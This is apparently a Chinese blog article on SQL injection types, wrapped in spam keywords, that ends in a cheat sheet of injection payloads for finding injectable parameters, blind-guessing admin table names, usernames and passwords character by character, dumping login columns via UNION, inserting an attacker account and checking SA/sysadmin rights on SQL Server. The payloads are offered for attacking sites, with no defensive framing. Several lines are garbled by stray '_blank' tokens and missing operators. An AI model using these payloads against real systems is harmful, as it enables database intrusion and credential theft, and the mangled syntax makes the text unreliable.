久久精品人人爽,华人av在线,亚洲性视频网站,欧美专区一二三

sql注入語句有三種分別是什么

126次閱讀
沒有評論

共計 3814 個字符,預計需要花費 10 分鐘才能閱讀完成。

自動寫代碼機器人,免費開通

這篇文章主要介紹 sql 注入語句有三種分別是什么,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

sql 注入語句有三種,分別是:1、數字型注入點,語句如“select * from 表名 where id=1 and 1=1”;2、字符型注入點,語句如“select * from 表名 where name…”;3、搜索型注入點。

sql 注入常用語句

SQL 注入 1. 什么是 sql 注入

通過把 SQL 命令插入到 Web 表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的 SQL 命令。

2. sql 注入類型按照注入點類型來分類(1)數字型注入點

許多網頁鏈接有類似的結構 http://xxx.com/users.php?id=1 基于此種形式的注入,一般被叫做數字型注入點,緣由是其注入點 id 類型為數字,在大多數的網頁中,諸如 查看用戶個人信息,查看文章等,大都會使用這種形式的結構傳遞 id 等信息,交給后端,查詢出數據庫中對應的信息,返回給前臺。這一類的 SQL 語句原型大概為 select * from 表名 where id=1 若存在注入,我們可以構造出類似與如下的 sql 注入語句進行爆破:select * from 表名 where id=1 and 1=1

(2)字符型注入點

網頁鏈接有類似的結構 http://xxx.com/users.php?name=admin 這種形式,其注入點 name 類型為字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where name= admin 值得注意的是這里相比于數字型注入類型的 sql 語句原型多了引號,可以是單引號或者是雙引號。若存在注入,我們可以構造出類似與如下的 sql 注入語句進行爆破:select * from 表名 where name= admin and 1=1 我們需要將這些煩人的引號給處理掉。

(3)搜索型注入點

這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,一般在鏈接地址中有 keyword= 關鍵字 有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點提交的 SQL 語句,其原形大致為:select * from 表名 where 字段 like % 關鍵字 % 若存在注入,我們可以構造出類似與如下的 sql 注入語句進行爆破:select * from 表名 where 字段 like % 測試 % and %1% = %1%

按照數據提交的方式來分類

(1)GET 注入

提交數據的方式是 GET , 注入點的位置在 GET 參數部分。比如有這樣的一個鏈接 http://xxx.com/news.php?id=1 , id 是注入點。

(2)POST 注入

使用 POST 方式提交數據,注入點位置在 POST 數據部分,常發生在表單中。

(3)Cookie 注入

HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個字段中。

(4)HTTP 頭部注入

注入點在 HTTP 請求頭部的某個字段中。比如存在 User-Agent 字段中。嚴格講的話,Cookie 其實應該也是算頭部注入的一種形式。因為在 HTTP 請求的時候,Cookie 是頭部的一個字段。

按照執行效果來分類

(1)基于布爾的盲注

即可以根據返回頁面判斷條件真假的注入。

(2)基于時間的盲注

即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

(3)基于報錯注入

即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。

單引號

雙引號

基于數字型注入

(4)聯合查詢注入

可以使用 union 的情況下的注入。

常用語句

1. 判斷有無注入點  
; and 1=1 and 1=2
2. 猜表一般的表的名稱無非是 admin adminuser user pass password  等.. 
and 0 (select count(*) from *) 
and 0 (select count(*) from admin) --- 判斷是否存在 admin 這張表
3. 猜帳號數目   如果遇到 0   返回正確頁面  1 返回錯誤頁面說明帳號數目就是 1 個  
and 0 (select count(*) from admin) 
and 1 (select count(*) from admin)
4. 猜解字段名稱   在 len( )  括號里面加上我們想到的字段名稱. 
and 1=(select count(*) from admin where len(*) 0)-- 
and 1=(select count(*) from admin where len(用戶字段名稱 name) 0) 
and 1=(select count(*) from admin where len(_blank 密碼字段名稱 password) 0)
5. 猜解各個字段的長度   猜解長度就是把 0 變換   直到返回正確頁面為止  
and 1=(select count(*) from admin where len(*) 0) 
and 1=(select count(*) from admin where len(name) 6)  錯誤  
and 1=(select count(*) from admin where len(name) 5)  正確   長度是 6  
and 1=(select count(*) from admin where len(name)=6)  正確
and 1=(select count(*) from admin where len(password) 11)  正確  
and 1=(select count(*) from admin where len(password) 12)  錯誤   長度是 12 
and 1=(select count(*) from admin where len(password)=12)  正確
6. 猜解字符  
and 1=(select count(*) from admin where left(name,1)=a) --- 猜解用戶帳號的第一位  
and 1=(select count(*) from admin where left(name,2)=ab)--- 猜解用戶帳號的第二位  
就這樣一次加一個字符這樣猜, 猜到夠你剛才猜出來的多少位了就對了, 帳號就算出來了  
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
這個查詢語句可以猜解中文的用戶和_blank 密碼. 只要把后面的數字換成中文的 ASSIC 碼就 OK. 最后把結果再轉換成字符.
group by users.id having 1=1-- 
group by users.id, users.username, users.password, users.privs having 1=1-- 
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank _NAME FROM INFORMATION_blank _SCHEMA.COLUMNS
WHERE TABLE_blank _NAME=logintable- 
UNION SELECT TOP 1 COLUMN_blank _NAME FROM INFORMATION_blank _SCHEMA.COLUMNS
WHERE TABLE_blank _NAME=logintable WHERE COLUMN_blank _NAME NOT IN (login_blank
 _id)- 
UNION SELECT TOP 1 COLUMN_blank _NAME FROM INFORMATION_blank _SCHEMA.COLUMNS
WHERE TABLE_blank _NAME=logintable WHERE COLUMN_blank _NAME NOT IN (login_blank
 _id,login_blank _name)- 
UNION SELECT TOP 1 login_blank _name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_blank _name=Rahul--
看_blank 服務器打的補丁 = 出錯了打了 SP4 補丁  
and 1=(select @@VERSION)--
看_blank 數據庫連接賬號的權限,返回正常,證明是_blank 服務器角色 sysadmin 權限。 
and 1=(SELECT IS_blank _SRVROLEMEMBER(sysadmin))--
判斷連接_blank 數據庫帳號。(采用 SA 賬號連接   返回正常 = 證明了連接賬號是 SA) 
and sa=(SELECT System_blank _user)-- 
and user_blank _name()=dbo-- 
and 0 (select user_blank _name()--

以上是“sql 注入語句有三種分別是什么”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注丸趣 TV 行業資訊頻道!

向 AI 問一下細節

正文完
 
丸趣
版權聲明:本站原創文章,由 丸趣 2023-12-04發表,共計3814字。
轉載說明:除特殊說明外本站除技術相關以外文章皆由網絡搜集發布,轉載請注明出處。
評論(沒有評論)
主站蜘蛛池模板: 叶城县| 台东县| 房山区| 五莲县| 德安县| 司法| 西峡县| 建阳市| 和政县| 射洪县| 乐都县| 玉田县| 卫辉市| 元阳县| 莆田市| 阿拉善盟| 锦屏县| 错那县| 柘城县| 临沧市| 永兴县| 潢川县| 大洼县| 泗阳县| 屏边| 长宁县| 胶州市| 沐川县| 鸡西市| 漾濞| 尉氏县| 克东县| 榆中县| 德兴市| 太白县| 黄冈市| 神农架林区| 浦江县| 赤峰市| 临夏市| 宾阳县|